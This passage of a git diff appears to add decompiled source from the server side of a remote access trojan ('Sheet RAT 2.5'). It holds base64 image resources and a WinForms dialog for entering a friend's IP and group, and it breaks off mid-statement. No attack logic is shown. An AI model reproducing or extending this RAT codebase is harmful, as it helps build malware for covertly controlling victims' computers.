8eLxXN/soSoQy05/6ezOA6+DjJOT31v0jffk19VeUiGWCfxT3ZHMOrE1CfrvuH4n0jXW9X1GimMnB8/1NeJ2bhPyWpcjvrfvHSn5FiVam+PJ73f9W2F1j+fPM36Grkz9f635FiV7yAvm/DBuSkH8f/JF1fx33Z+hkH0WJ4NTfoxkUJCG/pRBaOPl1p5+iRCz5vvzj3Azgt7AnCflfgfPcP5sj+RUleol/AWe++Qq8lYT82+HfnPx6vl9RIiz/JKbw+WZaEvJXwpO8b6Dr/YoS5QIwxtRB/Ltgbw3lt6yAM1z3162+ihLh9X++6QClScj/IVwV7Pjrkp+iRLoA1Ef8brAA8fdXI/9Buv7DdP26rvtr6q8oES8AVfsApyD/HxH/f48iv0H6F6C9k1+X/BQlAzLB7QN4u/ib3bT+q1AEZYfJ/wF0k/yKkokZ76/pvS/qbI70t8KrvvyV0JfXdVUAFCVTYx/ime2v7Sc50btADjwHHSW/omRDxvlP9Hm39zZ26/5yXo+W/IqSHRkezAI8xugxX0VRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEU5Dvl/PSohQL/daqEAAAAASUVORK5CYIIL + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAD8GgAAAk1TRnQBSQFMAgEBBgEAAWgBAQFoAQEBEAEAARABAAT/ASEBEAj/AUIBTQE2BwABNgMAASgDAAFAAwABIAMAAQEBAAEgBgABIDIAAxYBHgNGAX0DWQG7A18BzgNaAb8DQAFuAxkBIwMGAQgUAAMbASYDQgF1AysBQgQBAzYBWQM8AWYDEwEZsAADQAFxA2IB6wOAAf4DywH/A7wB/wNhAeIDRQF8AxkBIwgAAwYBCAMkATUDDAEPAzMBUgJnAWQB6wNWAbYDMQFOA14B3QNfAc4DJQE2Ax0BKAMgAS4DAgEDpAADIgExA1IBoANdAeoDgAH+AZkCnQH/AXcCeQH6A1wBzQM1AVYEAAMCAQMDKwFBA1kBwQNUAagDUgGhA28B8wNvAfcDZQHlArgBtgH9A2MB6QNOAZUDWgHAA1YBtQMhAS+UAAMCAQMDDwETAxQEGwEmAzMBUgNRAaIDYQHkA4AB/gHGAacBogH/AcABRQE9Af8BbAJaAfUDRAF7BAAEAQMzAVADYQHmAbQBsQGrAf8BwQG+AbgB/wHOAcwBxgH/AecB5QHiAf8B1AHRAc0B/wHqAegB5QH/Ae8B7AHoAf8B8gHwAe0B/wH4AfcB9QH/A18B2AMqAT+IAAMDAQQDIAEuA0YBfwFaAVsBWgHEAVwBXgFcAdkDYQHmAWICYAH2AYABdAF1Af4BoAE5ATgB/wGjARsBFwH/Aa4BFAEIAf8BvAEcAQkB/wHCAR4BCgH/AWoBRwFBAfkDSwGMBAADFAEbAykBPQNZAbsBsQGtAacB/wHSAdABywH/AbMBsQGwAf0DYgHuA2EB5AFmAl4B8AOAAf4B3gHbAdUB/wHtAeoB5gH/A1MBpQMhATADDwEUhAADGQEjA04BlAFaAWMBWgHpAScBgAEZAf8BLAGZARoB/wFpAY8BSAH/AZcBLgElAf8BkgEHAQEB/wGWAgAB/wGmAgAB/wHCASMBFAH/AdkBUQE8Af8B4QFVAT4B/wGyAkAB/QNRAaIEAANOAZQDXAHLA2IB7gHRAc8BywH/A30B+gNaAccDQAFxAzABTANEAXkDXwHVA34B/AHqAegB5AH/A2MB6QNcAcYDOwFlhAADRgF+AWMCWgHpAUoBgAExAf4BCAFsAQAB/wETAZABBgH/AVcBkAE9Af8BngFCATcB/wGcAQ4BBAH/AaMCAAH/AbkBAgEAAf8B2AFLAToB/wHuAZUBgwH/AfQBmgGGAf8B6gGfAY4B/wNWAbYEAANSAaQCaAFnAfQBvwG8AbUB/wHjAeEB3QH/A2AB4AM2AVkDCAEKBAADCwEOAz4BawFfAl4B6gHWAdMBzgH/A4AB/gNmAfADQgF0gAADBwEJAWMCWgHpATEBUQEAAf8BDAGSAQAB/wEWAacBCgH/ATkBmQEfAf8BlQFZAUIB/wGsAU4BSAH/AZsCAAH/AbQCAAH/AdMBEAEAAf8B8gGIAWMB/wH+AcABsQL/AcYBtQH/AfcBxgG1Af8DXgHTBAADEgEYA1UBrQOAAf4B1AHQAcsB/wNYAbcDFgEeDAADJgE5A14B0gHBAbwBtgH/A28B8wNIAYMDCwEOgAADSgGKAZoBGgEGAf8BZAE/AQgB/wFRAYUBFAH/AWwBkwEoAf8BqwFOAR4B/wG1AVUBOwH/AakBOAEwAf8BqAIAAf8ByQIAAf8B5gEkAREB/wH7Aa4BoAL/AdkBzgL/Ad0B0AH/AfoB2wHNAf8DZQHnBAADPQFoA10B0QOAAf4BxAG/AbkB/wNZAcEDHQEoCAAEAQMtAUUDYQLaAdgB0wH/A30B+gNaAb0DLgFIgAABYwJaAekBgwEtAQUB/wGeAUcBDAH/AbcBYwEUAf8BywGLARoB/wHSAYwBIAH/AccBiwE9Af8BqgFBATQB/wGzAQkBAAH/Ac4BGAEKAf8B5QFMAT0B/wG4AqgB/QNjAfYBaAFnAWYB8ANjAekDXgHTBAEDWQG7A30B+gGFAYMBgAH+AdIBzgHJAf8DZQHnA0ABcQMQARUEAAMYASADTAGOA3AB8QHcAdoB1wH/A4AB/gF8AXoBeAH8A0kBhoAAA2AB8wFnAUcBCAH/AbYBZwESAf8B1wGsASIB/wHpAcgBMQH/AecBwQEuAf8B2QGxAUAB/wHBAZcBaAH/AcIBagFcAf8BtwGCAV0B/wGaAaQBhgH/A10BzwNGAX4DQAFuAzgBXQMuAUcEAAMpAT4DRgF/A14B3QHvAe4B6gH/Aa0BqQGoAf0DYQHiA1UBrANOAZUDVgG1AWgCZwHrAYkBhwGDAf4BtwG0Aa4B/wNfAdADQgFzAyEBL4AAAVcCVQG0AT8BiwEIAf8BkgGeARsB/wHdAdEBOwH/Af4B9wGLAf8B+gHtAVYB/wHtAdABPAH/AdsBqgE3Af8BygGGATgB/wGSAVwBLgH/AUcBagFoAfkDSgGJGAADHgErA1sBxAH4AfcB9AH/AecB5gHiAf8BuwG2Aa4B/wGuAagBnwH/AbQBrwGmAf8BwQG8AbYB/wHTAc8BygH/AcsByAHDAf8BtQGyAaoB/wNTAakDDwEUhAADHQEoAVwBZQFcAecBKgHOATQB/wG7AfABlAH/AfwB/gHDAf8B+AHzAacB/wHyAd8BVgH/Ad8BtQFDAf8BzAGLATsB/wGZAV8BMAH/A2EB3AMyAU8UAAQCAy8BSQNhAdYDXwHYA2EB5AG9AbwBuwH9AegB5gHiAf8B2AHVAdAB/wHlAeIB3gH/A30B+gNgAdsDYQHkA10BzAMoATyEAAQCA0sBjAFZAWQBWQHvAaoB4wGvAf8B4QH4AeEB/wHlAeIBnwH/AekB0wFRAf8B3AGyAUMB/wHAAWgBNQH/AmIBWQHvA00BkgMUARsYAAMQARUDOgFiAyoBQANGAX8DbwHzA2AB4wNZAbsDaAH0A2EB3gM7AWQDMwFQAzQBVAMMAQ+IAAMdASgDTAGOA2MB6QGlAdsBpgH/AccBygGCAf8B0gG7AVsB/wHLAaABPQH/Al8BXgH7Ak0BTAGRAx4BKgMCAQMcAAMGAQgEAAMqAT8DXAHIA0cBgQMYASEDVAGmA1UBrAMbASYEAgMFAQaQAAMCAQMDJQE3A18B2ANfAfsDZQHxA1EBnwMTARlAAAQBmAAEAQMEAQUDBgEHAwYBBwMGAQcDBgEHAwYBBwMGAQcDBgEHAwYBBwMGAQcDBgEHAwYBBwMGAQcDBgEHAwMBBAQABAIDCwEOAw0BEQMLAQ4DBwEJAwUBBgMnAToDUQGeA2EB3gNsAfUDawH1A2AB4wNNAZEDIwEzAwQBBRgABAEDCQEMAx0BKQMlATYDJQE2AxsBJgMIAQoMAAM0Af8CkwEuAf8ChAEtAf8ChAEjAf8CkwFKAf8CawETAf8CiwEvAf8CYwEYAf8DTwGbAxwBJwMCAQMUAAMlATYDOAFbAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzQBVAMYASEEAAMLAQ4DPgFqA0wBkANIAYQDOwFjAyQBNQNLAYwDfAH8A8wB/wPPAf8CxAHDAf8DsQH/A14B8ANPAZkDGwEmFAADAgEDAxoBJANDAXYDWgHCA18B0ANdAc8DWAG3A0IBdAMcAScDCwEOAwQBBQOAAf8C8gFXAf8C3AFJAf8C3AFCAf8C8gFpAf8C0AE6Af8C8QFpAf8CzQE+Af8CXgEAAf8DUQGkAyABLQMCAQMQAANcAc0DWgHpA10B6gNdAeoDXQHqA10B6gNdAeoDXQHqA10B6gNdAeoDXQHqA10B6gNdAeoDXQHqA14B0gMzAVIEAAMSARcDUwGnA2cB9QNgAfMDYAHbA1QBpgNMAY8DYAHgA2oB+QGfAp4B/wGbApoB/wGkAqMB/wOmAf0DYQHcAzYBWBQAAxABFQNMAY4DZAHrA9QB/wPaAf8D0QH/A60B/QNiAe8DUgGhAygBPAMRARYDgAH/AtkBSwH/AscBGAH/AscBLgH/AtkBBwH/AqgBRgH/AtgBYwH/AuEBawH/AoABAAH/A2AB8wNRAaQDHAEnEAABiAGEAYEB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DXQHqAzkBXgQAAxIBFwNTAakBmAKVAf0BkAKRAf8DjAH/A4AB/gFqAWkBagH5A10BzANeAe0BrAKtAf0D2AH/AdUBzQHMAf8BxQFnAWEB/wNlAfEDQAFvBAAEAQQCCAEDEQEWA1MBpQN+AfwDyQH/A9AB/wLEAcUB/wOgAf8DhAH/A1YBtgMgAS4DDQERA4AD/wFKAf8C5gGTAf8C5gFLA/8B+wH/AqYBAAH/AhQBAAH/AwAB/wMAAf8CGAEAAf8DYQHmAzEBTRAAAYgBhAGBAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/A10B6gM5AV4EAAMSARcDUwGpAaICnwH9AZ0BngGdAf8BkwGRAZIB/wGmAYsBigH/AbMBhQGEAf8BswJiAf8BrwFIAUcB/wGtASoBJgH/AbEBFwELAf8BtwEOAQAB/wG6AQ4BAAH/AXsCXAH4A0kBiAQAA1wBxgNhAdYDWAG8A1YBsgM+AWoDMgFPA0wBkANiAeEBlAKWAf8BgQKGAf8BawGCAYEB/wGYAZsBnAH/A3EB+ANcAcgDJAE0A4AB/wLmAU4B/wLLATsB/wLPAVgB/wLyAWcB/wKqASwB/wI9AQAB/wKGAQcB/wLNAUoB/wI7AQAB/wNhAeYDMQFNEAABiQGFAYIB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DXQHqAzkBXgQAAxIBFwNTAakDqAH9AakCqwH/AaEClwH/AaYBRgFBAf8BlQEKAQQB/wGPAgAB/wGbAgAB/wGrAgAB/wHDASgBFwH/AdEBPAEoAf8B1wE/ASoB/wGAAXoBbQH+A1ABnQQAA2UB8QGvAa0BrgH/A4AB/gNlAfEDYgHhA10ByQNaAcADZQHlAV4BZwFiAf8BUAFfAVUB/wFCAVEBRAH/ATEBOQEzAf8BRQFTAUgB/wNeAdcDKQE+A4AB/wLmAUMB/wK/AUcB/wJoAScB/wKJAToB/wKNARsB/wJGARIB/wK/AVID/wHJAf8CUwEAAf8DWgHpAzoBYAMTARoMAAGOAYoBiAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wNdAeoDOQFeBAADEgEXA1MBqQOoAf0BrwKxAf8BpQGeAZ0B/wGoAUwBRwH/AZYBBgEAAf8BlgIAAf8BqQIAAf8BvgEMAQEB/wHbAVIBPQH/AecBbAFTAf8B7AGAAVoB/wHhAYYBZQH/A1YBqwQAA2AB8wGtAawBrQH/AakBqwGtAf8BVAFjAVoB/wNAAf0BWAFeAVwB/gEfASUBIQH/ARcBKQEaAf8BFAE7ARUB/wEQAU4BDwH/AQ8BRwEOAf8BDAFAAQwB/wEuAT8BMAH/A10B3wMuAUcDgAP/AYMB/wLYATsB/wJCAQAB/wJRAQAB/wJjAQcB/wJeARkB/wKEATQB/wKSAZEB/wI5AQAB/wNcAfgDXAHLA1YBswMdASkIAAGVAZEBjwH/Ax0B/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wNdAeoDOQFeBAADEwEZA1UBrwOAAf4DswH/Aa0CqgH/AbEBZgFhAf8BngEMAQMB/wGlAgAB/wG3AgAB/wHQASMBFAH/AesBkQGCAf8B9gGnAZkB/wH7AaoBmgH/AfEBpgGaAf8DWAG3BAADYAHzArEBsAH/AbQBvAG+Af8BBwErAQAB/wEAASIBAAH/AQkBaAEIAf8BEgFEARIB/wEFARsBBQH/AQABIQEAAf8BCwFbAQoB/wEWAWMBFQH/AQQBuAECAf8BMgFoATIB/wFhAWMBYQHrAzgBWwOAAf0C/gH9Af8C2QGyAf8CQQEHAf8CgAEAAf8CvwExAf8ClgEFAf8CPgEAAf8CgAEAAf8CYQEAAf8CYAEhAf8C5QGYAf8CgAEAAf8DVQG0AxMBGgQAAZYBkwGQAf8DNwH/A0wB/wM+Af8DAAH/AwIB/wMAAf8DLwH/AwAB/wMTAf8DMQH/AzEB/wMxAf8DBwH/A10B6gM5AV4EAAMJAQsDNQFVA08BlwNaAcIDXQHfAWMCXwH7AaYBCgEDAf8BtAIAAf8BzQEDAQAB/wHoAUQBMAH/AfoBtwGoAf8B/gHIAboB/wH+AcoBugH/AfQBwQGzAf8DXAHDBAADYAHzAbQBsgGzAf8BvALAAf8BQAFdATsB/wEEAVABAwH/AQABWAEAAf8BAAEZAQAB/wEAAT4BAAH/AQIBTwEBAf8BGQGFARgB/wEaAZgBGAH/ASkBawEoAf8BOwGEAToB/wNiAe8DPQFpBAACUwFSAaUCbwFgAfMCggEdAf8CpQExAf8C6gGhAf8CnQEjAf8CRgEAAf8CpgEHAf8CygEvAf8CtgE6Af8C1AFUAf8CsgFgAf8CVAFTAaYDHAEnBAABlQGSAY8B/wNDAf8DjQH/A10B/wMgAf8DJwH/AysB/wOPAf8DAAH/AwIB/wMLAf8DCAH/AwYB/wMAAf8DXQHqAzkBXgQABAEDBgEHAw8BEwMdASkDQwF2AWMCYQHrAbABDQEDAf8BxAIAAf8B3gEOAQAB/wHyAWcBVAH/AfgByAG8Af8B+AHRAcUB/wH4AdABxQH/AfAByAG9Af8DXAHLBAADYAHzAbEBtgGzAf8BxQHGAccB/wGXAaQBmQH/AQoBNwEKAf8BBQFIAQQB/wEAAUwBAAH/AQABXQEAAf8BDwFSAQ0B/wEtAYQBLAH/ASEBpgEfAf8BQQFZAUEB/wFQAV4BUAH/A2UB9ANEAXkEAAMdASkDUgGgAmgBWgHyAqYBDgH/ArcBTgH/AqIBHwH/AocBKwH/AuUBXQH/AtUBjQH/Am8BXAH4Al0BWwHKA1YBsgMbASYDAgEDBAABcAFvAW4B+gM+Af8DiAH/A4sB/wMoAf8DNAH/A1AB/wNbAf8DEQH/AwsB/wMHAf8DAAH/AwAB/wMAAf8DXQHqAzkBXhQAAywBQwNeAdkBxQFPAUcB/wHYAVcBSQH/AekBbQFdAf8B8QG2Aa0B/wHsAdQBzwH/AeABzQHJAf8DgAH+A2UB8QNWAbUEAAFmAmcB8gGoAa8BqwH/AswBzQH/Ab0BxwHJAf8BEwEgARMB/wEGATQBBQH/AQEBbAEAAf8BDgE3AQ4B/wEgATwBIAH/AT8BYgE+Af8BLwGgAS0B/wFNAV8BTQH/AVkBYwFZAf8BcQFyAXEB/ANNAZMEAAMCAQMDHQEpA0YBfQNPAZkDTwGZA08BmQNPAZkDTwGZA08BmQNLAYwDKgFAAxMBGQMpAT4DLgFHAwkBCwNtAfcDMgH/AzAB/wMsAf8DKAH/AyMB/wMfAf8DGgH/AxUB/wMQAf8DCwH/AwMB/wMAAf8DAAH/A10B6gM5AV4UAAMnAToDXgHSAYUCgQH+A6gB/QNfAfsDZQHlA1UBrQNAAXADJQE2AxgBIAMJAQsEAANeAdcC2QHbAf8C5AHlAf8BwwHQAdQB/wEXAT8BFwH/AQkBMwEIAf8BAAFVAQAB/wMLAf8DOQH/AWsBbAFrAf8BUgGRAVEB/wFEAV0BRAH/ATkBXQE5Af8BigGZAYsB/wNTAackAAMyAU8DFAEbBAAEAgKmAWsB/wNhAeYDMQFOAW8CbgH4AWABXwFdAf8BXgFdAVwB/wFbAlkB/wFYAVcBVgH/AVUBVAFSAf8BUgFRAVAB/wFOAU0BTAH/AUoBSQFIAf8BRwFGAUUB/wFEAUMBQgH/ATsBOgE3Af8BNAEzATIB/wEpAScBJQH/A10B6gM4AV0UAAMPARQDLgFIAy0BRgMdASgDDQERAwYBBwMDAQQUAAMbASUDPQFnA1ABmwNgAeABIAEnASAB/wEEARgBBAH/AQ4BMwEOAf8BGgEqARoB/wFBAVMBQQH/AVgBbQFYAf8BXwGCAV8B/wFsAZABbQH/AW4BcQFuAfoDZwH0A1QBphwAAxcBHwNPAZkDWgH1AlABTwGbAykBPgNhAeQC7gGEAf8CpwFAAf0CVwFVAbEDXAHIA2UB5QNlAeUDZQHlA2UB5QNlAeUDZQHlA2UB5QNlAeUDZQHlA2UB5QNlAeUDZQHlA2UB5QNdAcwDLwFJGAAIASQABAEDBAEFAw4BEgNGAX0BSQFgAUkB9gNlAfEDXQHsA1wB5wNhAdoDXwHOA1sBxANZAb4DUQGiA0oBiQMzAVEcAAMzAVECgAFlAf4C2AFZAf8CYQFdAdwDMQFNAzABTANdAdEDXQHMAzgBXAMjATIDMAFMAzABTAMwAUwDMAFMAzABTAMwAUwDMAFMAzABTAMwAUwDMAFMAzABTAMwAUwDMAFMAysBQQMPARRQAAMZASIDRgF9A0ABbwM5AV8DNAFUAysBQQMkATUDHgEqAxsBJQMTARoDDQERAwYBBxwAAxcBHwNOAZgCbgFaAfUDTwGZAxcBHwQAAyYBOQMoATsDCgEN5AADMQFNAxMBGhQAAUIBTQE+BwABPgMAASgDAAFAAwABIAMAAQEBAAEBBgABARYAA/8BAAH/AQAB+AEPBAAB/wEAAcABAQQAAf8BAAGAAQEEAAHwAQABgAEBBAABgAEAAYAFAAGAAQABgAUAAYABAAKABgABgQHABgABgQGABwABgAYAAYAGAAEPAcABAQUAAQ8BgAEBBQABDwHAAQEEAAGAAQ8B6AEDBAABwAF/Af8BvwYAAYABAAH8AQcBAAEfAgABgAEAAfgCAAEPAgABgAEAAfgCAAEPAgABgAEAAYACAAEPAgABgAEAAYACAAEPAgABgAEAAYACAAEHAgABgAEAAYACAAEDAgABgAEAAYACAAEBAgABgAEAAYABAAGAAQECAAGAAQABgAEAAYABAQIAAfgBAAGAAQABgAMAAfgBAAGAAQAB/wGQAgAB+AEPAYABAAH+AwAB/AH/AYABAAH+AwAC/wHwAQAB/gEIB/8BnxYACw== + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADYCwAAAk1TRnQBSQFMAgEBAwEAAdABAAHQAQABEAEAARABAAT/ASEBEAj/AUIBTQE2BwABNgMAASgDAAFAAwABEAMAAQEBAAEgBgABECYAAS8BtAHRAf8DBgEHDAADAwEEAVICUwGlAwoBDRAAAyABLQM0AVMDNAFTAzQBUwM0AVMDNAFTAzQBUwM0AVMDNAFTAzQBUwM0AVMDNAFTAzQBUwM0AVMDGwEmjAADDQERATABtwHVAf8BMQG3AdQB/wMjATMDSAGEAS4BtQHTAf8BLgG1AdMB/wEuAbUB0wH/AS8BtQHTAf8BMQG2AdMB/wMfASwMAANbAf4DLgH/AwAB/wMuAf8DLgH/Ay4B/wM/Af8DPwH/Ay4B/wMuAf8DLgH/Ay4B/wMgAf8DLgH/AxMB/wQAAxsBJQMtAUQDLQFEAy0BRAMtAUQDLQFEAy0BRAMtAUQDLQFEAy0BRAMtAUQDLQFEAy0BRAMtAUQDCwEOTAABMwG6AdkB/wEzAboB2QH/ATQBugHYAf8BGgGSAaoB/wEqAawByQH/ATABtwHVAf8BMAG3AdUB/wEwAbcB1QH/ATEBuAHVAf8BMwG4AdYB/wMhATADBQEGCAADQQH+A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wMAAf8DBgEHAwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wEKAgAB/wMAAf9MAAE1Ab0B3QH/ATUBvQHdAf8BNgG9AdwB/wEcAZQBrQH/ASwBrgHMAf8BMgG5AdgB/wEyAbkB2AH/ATIBuQHYAf8BNAG6AdkB/wE1AboB2AH/AxkBIwMTARkEAgQAA4AB/gMtAf8DxAH/A70B/wO2Af8DsQH/A64B/wP4Af8DrwH/A7MB/wO4Af8DvwH/A8cB/wMzAf8DrwH/BAIDogH/A54B/wObAf8DmAH/A5YB/wOSAf8DjgH/A4wB/wOKAf8DiAH/A4YB/wOFAf8DhQH/A4UB/wOFAf9MAAE5AcEB4QH/ATkBwQHhAf8BOgHBAeAB/wEdAZYBsAH/ASABmgG0Af8BNAG8AdwB/wE0AbwB3AH/ATYBvQHcAf8BNgG9AdwB/wE2Ab0B3AH/AwkBCwMCAQMIAANVAa0DzgH/A8kB/wPDBf8DuQH/A7cB/wO2Af8DuAH/A7sF/wPFAf8DygH/A88B/wMoATwEAAOqAf8DpgH/A6MB/wOgAf8DnAH/A5kB/wOBAf8DNQH/A5IB/wONAf8DigH/A4kB/wOHAf8DhQH/A4QB/0wAATwBxQHlAf8BPAHFAeUB/wE8AcUB5QH/AR8BmQGyAf8BIAGbAbQB/wE2Ab8B3wH/ATYBvwHfAf8BOgHBAeAB/wE2Ab8B3wH/AVoCYwHpEAADJAE1A9IB/wPNAf8DygH/A8UB/wPCAf8DwAH/A78B/wPAAf8DwwH/A8cB/wPLAf8DzwH/A9MB/wMeASoEAAOzAf8DrwH/A6sB/wOoAf8DpAH/A6EB/wNAAf8DPQH/AzkB/wOTAf8DkAH/A44B/wOKAf8DiQH/A4cB/0wAAT8ByAHqAf8BPwHIAeoB/wE/AcgB6gH/AR8BmQGyAf8BIgGeAbcB/wE5AcMB4wH/ATkBwwHjAf8BPgHFAeQB/wE5AcMB4wH/FAADGgEkA9YB/wOzAf8DzwH/A8wB/wPKAf8DyQH/A9cB/wPJAf8DygH/A80B/wPQAf8DsQH/A9cB/wMVARwEAAO7Af8DuAH/A7QB/wOvAf8DrAH/A6kB/wOlAf8DhAH/A54B/wObAf8DlwH/A5QB/wORAf8DjwH/AzsBZUwAAYABzAHuAf8BgAHMAe4B/wGAAcwB7gH/ASEBmwG0Af8BJAGgAboB/wE7AcYB5gH/AT4BxwHnAf8BPwHHAecB/wE8AcYB5gH/FAADEgEXA9kB/wPXAf8D1AH/A9IB/wPQAf8DzwH/A84B/wPPAf8D0AH/A9IB/wPVAf8D2AH/A9kB/wMMARAEAANOAZgDwAH/A7wB/wO5Af8DtQH/A7EB/wOwAf8DjQH/A6YB/wOiAf8DnwH/A5sB/wOXAf8DlQH/UAABiwHTAfMB/wGDAdAB8gH/AYMB0AHyAf8BIwGeAbcB/wEmAaMBvQH/AT4ByQHqAf8BgwHMAesB/wE+AckB6gH/AYMBzAHrAf8UAAMKAQ0D2wH/A9oB/wPYAf8D1wH/A9YB/wPFAf8D1QH/A9IB/wPWAf8D2AH/A9kB/wOdAf8D3AH/AwcBCQgAA8kB/wPFAf8DwQH/A74B/wOzAf8DtgH/A5cB/wOuAf8DqwH/A6cB/wOjAf8DoAH/A5wB/1AAAY8B1wH3Af8BjwHXAfcB/wGFAdMB9gH/ASUBoAG6Af8BKAGlAcAB/wFAAcwB7gH/AYYBzwHvAf8BQAHMAe4B/wGGAc8B7wH/FAADBgEHA9wB/wPcAf8D2wH/A9oB/wPZAf8D2QH/A9kB/wPZAf8D2gH/A9oB/wPbAf8D3QH/A9wB/wMDAQQIAAPQAf8DzQH/A8oB/wPGAf8DpwH/A74B/wOhAf8DnAH/A7MB/wOvAf8DqwH/A6gB/wOkAf9QAAGRAdoB+gH/AZEB2gH6Af8BkQHaAfoB/wEmAaMBvQH/ASkBpwHDAf8BgwHQAfEB/wGFAdEB8gH/AYYB0QHyAf8BiQHSAfIB/xQAAwIBAwPaAf8D2wH/A9wB/wPdAf8D3AH/A9wB/wPcAf8D3AH/A9wB/wPdAf8DtQH/A9sB/wPaAf8EAggAA9YB/wPUAf8D0QH/A8YB/wO1Af8DxgH/A6oB/wO/Af8DowH/A7gB/wO0Af8DsAH/A10BylAAAZQB3AH7Af8BlAHcAfsB/wGUAdwB+wH/ASoBpwHDAf8BOwHDAeMB/wGMAdYB9QH/AYIB0gH0Af8BjAHWAfUB/wGMAdYB9QH/FAAEAQPVAf8DsgH/A9oB/wPvAf8D+wH/A7MB/wPbAf8D2wH/A9sB/wPaAf8DlAH/A9cB/wPTAf8MAANaAfUD2wH/A9gB/wPVAf8D0gH/A84B/wOzAf8DyAH/A60B/wPAAf8DvQH/A7kB/wQBUAABkQHhAf0B/wGRAeEB/QH/AZEB4QH9Af8BggHSAfQB/wGEAdQB9wH/AY4B2AH4Af8BhQHUAfcB/wGOAdgB+AH/AY4B2AH4Af8YAAPMAf8DNQH/A9MB/wPVAf8D1wH/A9gB/wPYAf8D1wH/A9YB/wPVAf8DvwH/A88B/wPLAf8MAAMQARUD3wH/A94B/wPbAf8D2AH/A9gB/wO+Af8D0QH/A80B/wPJAf8DxQH/A8EB/1QAAYoB4gH9Af8BPwG/AdcB/wGGAdcB+QH/AYYB1wH5Af8BigHXAfgB/wOAAf4BYQJiAe8DUAGdAxwBJxgAA4AB/gPEAf8DygH/A80B/wPOAf8DzwH/A9AB/wOIAf8DzgH/A8wB/wPJAf8DwwH/A6kB/xAAA+QB/wPiAf8D4AH/A98B/wPcAf8DwQH/A9cB/wPTAf8D0QH/A80B/wPKAf9UAAMhATAEATQAA4AB/gOBAf8D/QH/A/gB/wHyAvQB/wHvAvEB/wHtAu8B/wPCAf8DwAH/A74B/wO7Af8DAAH/A1sBxBAAAxsBJgM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBX/8ATQABQgFNAT4HAAE+AwABKAMAAUADAAEQAwABAQEAAQEFAAGAFwAD/wEAAfkBxwGAAQAC/wIAAeABAwGAAQABgAMAAeABAQGABQAB4AEAAYAFAAHgAQEBgAEAAYADAAHgAQcBgAEAAYADAAHgAQ8BgAEAAYADAAHgAQ8BgAEAAYABAQIAAeABDwGAAQABwAEBAgAB4AEPAYABAAHAAQECAAHgAQ8BgAEAAcABAQIAAeABDwGAAQEBwAEBAgAB4AEPAcABAQHAAQMCAAHgAQ8BwAEBAeABAwIAAecB/wHAAQEB4AEHAgAG/xgACw== + + \ No newline at end of file diff --git a/Server/Server/Forms/FormFreendConnect.cs b/Server/Server/Forms/FormFreendConnect.cs new file mode 100644 index 0000000..e863cfb --- /dev/null +++ b/Server/Server/Forms/FormFreendConnect.cs @@ -0,0 +1,174 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormFreendConnect +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormFreendConnect : MetroForm +{ + public bool started; + private IContainer components; + public MetroTextBox IP; + public MetroTextBox GROUP; + private MetroButton button2; + private MetroButton button3; + + public FormFreendConnect() => this.InitializeComponent(); + + private void FormFreendConnect_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme == MetroThemeStyle.Dark && Customs.customs.Style == MetroColorStyle.Lime) + return; + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.IP.Style = Customs.customs.Style; + this.GROUP.Style = Customs.customs.Style; + this.button2.Style = Customs.customs.Style; + this.button3.Style = Customs.customs.Style; + } + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.IP.Theme = Customs.customs.Theme; + this.GROUP.Theme = Customs.customs.Theme; + this.button2.Theme = Customs.customs.Theme; + this.button3.Theme = Customs.customs.Theme; + } + this.Refresh(); + } + + private void button2_Click(object sender, EventArgs e) + { + this.started = true; + this.Close(); + } + + private void button3_Click(object sender, EventArgs e) => this.Close(); + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.IP = new MetroTextBox(); + this.GROUP = new MetroTextBox(); + this.button2 = new MetroButton(); + this.button3 = new MetroButton(); + this.SuspendLayout(); + this.IP.Anchor = 